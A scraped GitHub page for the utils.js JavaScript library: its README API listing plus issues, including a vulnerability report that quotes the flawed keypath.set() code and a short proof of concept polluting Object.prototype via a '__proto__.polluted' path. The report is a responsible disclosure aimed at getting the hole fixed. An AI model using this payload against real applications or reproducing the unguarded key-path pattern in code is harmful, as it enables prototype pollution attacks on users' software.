fabiocaccamo / utils.js

:construction_worker: :wrench: zero dependencies vanilla JavaScript utils.

utils.js

👷 🔧 zero dependencies vanilla JavaScript utils.

Table of contents

• Installation
• Usage
• APIs
• Development
• Security
• License

Installation

This library is available through npm:

npm install @fabiocaccamo/utils.js

Usage

CDN

<script src=" https://cdn.jsdelivr.net/npm/@fabiocaccamo/utils.js/dist/utils.min.js"></script>

Local

<script src="node_modules/@fabiocaccamo/utils.js/dist/utils.min.js"></script>

Node

var utils = require("@fabiocaccamo/utils.js");

APIs

utils.array

• all

• any

• clean

• clone

• contains

• equals

• flatten

• index

• insert

• max

• min

• paginate

• reduce

• remove

• replace

• rotate

• shuffle

• sort

• sum

• unique

• unzip

• zip

utils.base64

• decode

• encode

utils.color

• cmykToHex

• cmykToRgb

• hexToCmyk

• hexToRgb

• rgbToCmyk

• rgbToHex

utils.color.cmyk

• toString

• toStringCSS

utils.color.hex

• average

• distance

• gradient

• gradientMatrix

• interpolateBilinear

• interpolateLinear

• interpolateMultilinear

• nearest

• toCmyk

• toRgb

• toString

• toStringCSS

utils.color.rgb

• average

• distance

• gradient

• gradientMatrix

• interpolateBilinear

• interpolateLinear

• interpolateMultilinear

• nearest

• toCmyk

• toRgb

• toString

• toStringCSS

utils.date

• clone

• constrain

• format

• isFuture

• isPast

• max

• min

• parse

• timestamp

• today

• tomorrow

• yesterday

• yyyymmdd

utils.ease

• backIn

• backInOut

• backOut

• bounceIn

• bounceInOut

• bounceOut

• circularIn

• circularInOut

• circularOut

• cubicIn

• cubicInOut

• cubicOut

• elasticIn

• elasticInOut

• elasticOut

• exponentialIn

• exponentialInOut

• exponentialOut

• none

• quadraticIn

• quadraticInOut

• quadraticOut

• quarticIn

• quarticInOut

• quarticOut

• quinticIn

• quinticInOut

• quinticOut

• sexticIn

• sexticInOut

• sexticOut

• sineIn

• sineInOut

• sineOut

• waveCosine

• waveSawtooth

• waveSine

utils.func

• args

• attempt

• bind

• call

• debounce

• delay

• memoize

• noop

• repeat

• throttle

• until

• validate

utils.geom

utils.geom.point

• add

• angle

• cross

• distance

• dot

• equals

• interpolate

• length

• magnitude

• project

• rect

• rotate

• scale

• subtract

• translate

utils.hex

• decodeInt

• encodeInt

utils.json

• decode

• encode

utils.math

• average

• constrain

• cycle

• equals

• euclideanDistance

• factorial

• gcd

• lcm

• lerp

• map

• nearest

• normalize

• proportion

• roundDecimals

• roundToMultiple

• roundToNearest

• roundToPower

• sign

• summation

utils.math.interpolation

• bilinear

• linear

• multilinear

• scalar

utils.number

• isBetween

• isEven

• isFloat

• isNegative

• isOdd

• isPositive

• isPrime

utils.object

• assign

• clean

• clone

• decodeBase64

• decodeJSON

• decodeParameters

• encodeBase64

• encodeJSON

• encodeParameters

• equals

• is

• keypath

• keys

• length

• map

• merge

• search

• values

utils.random

• argument

• bit

• boolean

• color

• element

• float

• index

• integer

• map

• sign

• string

utils.string

• contains

• endsWith

• icontains

• levenshteinDistance

• levenshteinSimilarity

• padLeft

• padRight

• padZeros

• render

• replace

• reverse

• rotate

• slugify

• startsWith

• toConstantCase

• toRandomCase

• toTitleCase

• toUpperCaseFirst

• trim

• trimLeft

• trimRight

utils.test

• assertArray

• assertBase64

• assertBoolean

• assertDate

• assertEqual

• assertError

• assertFalse

• assertFunction

• assertJSON

• assertNaN

• assertNone

• assertNotArray

• assertNotBase64

• assertNotBoolean

• assertNotDate

• assertNotEqual

• assertNotError

• assertNotFunction

• assertNotJSON

• assertNotNone

• assertNotNull

• assertNotNumber

• assertNotObject

• assertNotRegExp

• assertNotString

• assertNotUndefined

• assertNull

• assertNumber

• assertNumberAlmostEqual

• assertObject

• assertRegExp

• assertString

• assertThrows

• assertTrue

• assertUndefined

utils.trigo

• acosDeg

• angleDeg

• angleRad

• asinDeg

• atan2Deg

• atanDeg

• cosDeg

• cycleDeg

• degToRad

• fastDeg

• haversine

• hypo

• radToDeg

• sinDeg

• tanDeg

utils.type

• isArray

• isBase64

• isBoolean

• isDate

• isError

• isFunction

• isJSON

• isNaN

• isNone

• isNull

• isNumber

• isObject

• isRegExp

• isString

• isType

• isUndefined

• of

utils.url

• getParameterByName

• getParameters

• getParametersDict

• getParametersList

• getParametersString

• getURL

• hasParameter

• isFile

• isHttp

• isHttps

• isLocalhost

utils.utf8

• decode

• encode

utils.xml

• removeNamespaces

Development

Setup

• git clone https://github.com/fabiocaccamo/utils.js.git
• npm install

Watch

• npm run watch

Testing

• npm run test (run tests against dist using Gulp task runner and Mocha Javascript testing framework)

Formatting

• npm run format (format code using Prettier code formatter, refer to .prettierrc for specific formatting options)

Build

• npm run build

Security

Refer to SECURITY.md

License

Released under MIT License.

utils.js's Issues

Trying to get in touch regarding a security issue

Hey there!

I belong to an open source security research community, and a member (@wjddnjs33) has found an issue, but doesn’t know the best way to disclose it.

If not a hassle, might you kindly add a SECURITY.md file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.

Thank you for your consideration, and I look forward to hearing from you!

(cc @huntr-helper)

Prototype Pollution

Be empty

Prototype Pollution

Summary

Hello @fabiocaccamo and @snyk.

This time I really found Prototype Pollution! lol.

I discovered a prototype pollution vulnerability via utils.js method analysis.

set: function(obj, path, value)
        {
            var keys = path.split('.');
            var key;
            var cursor = obj;
            for (var i = 0, j = keys.length; i < j; i++) {
                key = keys[i];
                if (!TypeUtil.isObject(cursor[key])) {
                    cursor[key] = {};
                }
                if (i < (j - 1)) {
                    cursor = cursor[key];
                } else {
                    cursor[key] = value;
                }
            }
        }
// https://github.com/fabiocaccamo/utils.js/blob/master/dist/utils.js#L2360

If you check the set() method of utils.object.keypath, you can see that the value of the path parameter is split with dots, and then merged with the value of the value parameter based on the key value. this means that it can be exploited as a prototype pollution.

const utils = require("@fabiocaccamo/utils.js");
const obj = {};
const fake_obj = {};

console.log(`[+] Before prototype pollution : ${obj.polluted}`);
utils.object.keypath.set(fake_obj, '__proto__.polluted', true);
console.log(`[+] After prototype pollution : ${obj.polluted}`);

/* 
[+] Before prototype pollution : undefined
[+] After prototype pollution : true
*/

I wrote PoC as above!

A prototype pollution vulnerability has occurred and you can see the object being polluted. To patch this vulnerability, use the Object.freeze() method or the key value must be verified. (e.g __proto__)

Cannot run "build" command

Hi! 👋
If I try to run npm run build the CMD returns these error:

Failed to load external module @babel/register
   ...  
Error in plugin 'gulp-js-import'
Message:
    file ./utils/ArrayUtil.js no exist
Details:
    domainEmitter: [object Object]
    domain: [object Object]
    domainThrown: false

I followed your development guides, upgraded all the tools (gulp, npm, node) but the build process did not worked.
Do you have any tips to solve this issue?
Thank you 😊